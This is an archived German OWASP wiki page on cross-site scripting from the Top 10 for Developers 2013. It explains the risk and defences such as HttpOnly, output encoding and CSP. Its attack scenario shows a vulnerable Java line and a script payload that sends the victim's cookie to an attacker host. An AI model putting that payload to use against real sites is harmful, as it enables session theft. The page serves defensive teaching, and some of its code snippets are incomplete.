This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Germany/Projekte/Top 10 fuer Entwickler-2013/A3-Cross-Site Scripting (XSS)
← A2-Fehler in Authentifizierung und Session-Management | A4-Unsichere direkte Objektreferenzen → |
Anwendungs- spezifisch |
Ausnutzbarkeit DURCHSCHNITTLICH |
Verbreitung AUSSERGEWÖHNLICH HÄUFIG |
Auffindbarkeit EINFACH |
Auswirkung MITTEL |
Application / Business Specific |
Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren. | Der Angreifer sendet textbasierte Angriffsskripte, die Eigenschaften des Browsers ausnutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken. | XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen. | Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche Inhalte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc. | Berücksichtigen Sie den geschäftlichen Nutzen des betroffenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle. |
Mögliche Angriffsszenarien
Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren: (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>' .
Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere Informationen zu CSRF. Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden:
|
Wie kann ich 'Cross-Site Scripting (XSS)' verhindern?
Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.
|
Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':
Schutz gegen Diebstahl der Session durch XSSEin sehr einfach zu realisierender Schutz der eigentlichen Session-ID besteht darin für ein Session-Cookie grundsätzlich das Flag "httponly" zu setzen. Dieses Flag teilt dem Browser mit, dass ein Zugriff eines Client-Scripts (egal woher es kommt) auf das Session-Cookie nicht erlaubt ist. Normalerweise gibt es auch keinen Grund warum dies nötig sein sollte. Es gibt verschiedene Möglichekeiten dieses Flag zu setzen: //Programmatisch
</session-config> Weitere Details dazu finden sich unter OWASP HttpOnly
Durch diese Maßnahme wird das Thema XSS nur zu einem Teil addressiert, nur der Diebstahl von Cookies wird verhindert. Tatsächlich werden Cookies nicht unbedingt für einen erfolgreichen Angriff benötigt, man kann auch die Anwendungslogik auch ohne Cookies angreifen wenn übergebene Daten nicht ausreichend geprüft werden. Näheres findet zu diesem Aspekt man bei Why HttpOnly won’t protect you. Je nach Schutzbedarf der Anwendung sollten deshalb auch die weiteren Verteidungsoptionen gegen XSS geprüft werden. Diese Maßnahme ist jedoch sehr einfach umzusetzen und und gehört aus diesem Grund grundsätzlich in jede Anwendung. Sie verringert die Angreifbarkeit der Anwendung in einem signifikantem Umfang, da weiterführende Angriffe erst einmal einen wesentlich größeren Aufwand für den Angreifer bedeuten. |
Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':
Reflektiertes und Persistentes XSSCanonicalize Input Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen. Validate Input Using a Whitelist Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.
String safeEncodedOutput =
'Encode.forHtml(...)' bzw. 'Encode.forJavaScript(...)' wären aus Sicherheitssicht ebenfalls möglich, sie sind jedoch nicht so performant (da sie mehr Zeichen, als notwendig umcodieren würden). String safeEncodedOutput =
<input type="text" name="data" value="<%= Encode.forHtmlAttribute (dataValue) %>" /> Quellen: Use_the_Java_Encoder_Project, Approaching Secure Code |
Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':
Content Security Policy (CSP)CSP erzwingt eine stringente Trennung des Javascript-Codes vom Inhalt und ermöglich damit ein strikte Kontrolle der Herkunft des Codes. Um CSP zu aktivieren muss der Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort gesetzt werden: response.setHeader( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );
Sobald CSP-Header gesetzt werden gelten in einem kompatiblen Browser folgende Einschränkungen:
Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen. Weitere Informationen zu CSP findet man wiki.mozilla.org Auf Heise Security ist eine detaillierte Beschreibung zu CSP erschienen: Bodyguard für Webseiten |
Auswirkung(en) auf den Benutzer
DOM-basiertes oder lokales XSS(ganze Breite) |
Referenzen
OWASP
Andere
|
Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':
tbd Text |
Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':
Reflektiertes und Persistentes XSSCanonicalize Input Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen. Validate Input Using a Whitelist Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.
/* encoding for html */ echo htmlentities($input, ENT_QUOTE | ENT_SUBSTITUTE, 'UTF-8'); Um JSON in HTML-Attributen sicher auszugeben ist json_encode alleine nicht ausreichend. /* encoding for json */ echo htmlentities(json_encode($input), ENT_QUOTE | ENT_SUBSTITUTE, 'UTF-8'); |
Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':
Content Security Policy (CSP)CSP erzwingt eine stringente Trennung des Javascript-Codes vom Inhalt und ermöglich damit ein strikte Kontrolle der Herkunft des Codes. Um CSP zu aktivieren muss der Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort gesetzt werden: header( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );
Sobald CSP-Header gesetzt werden gelten in einem kompatiblen Browser folgende Einschränkungen:
Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen. Weitere Informationen findet man hier |
Referenzen
|
← A2-Fehler in Authentifizierung und Session-Management | A4-Unsichere direkte Objektreferenzen → |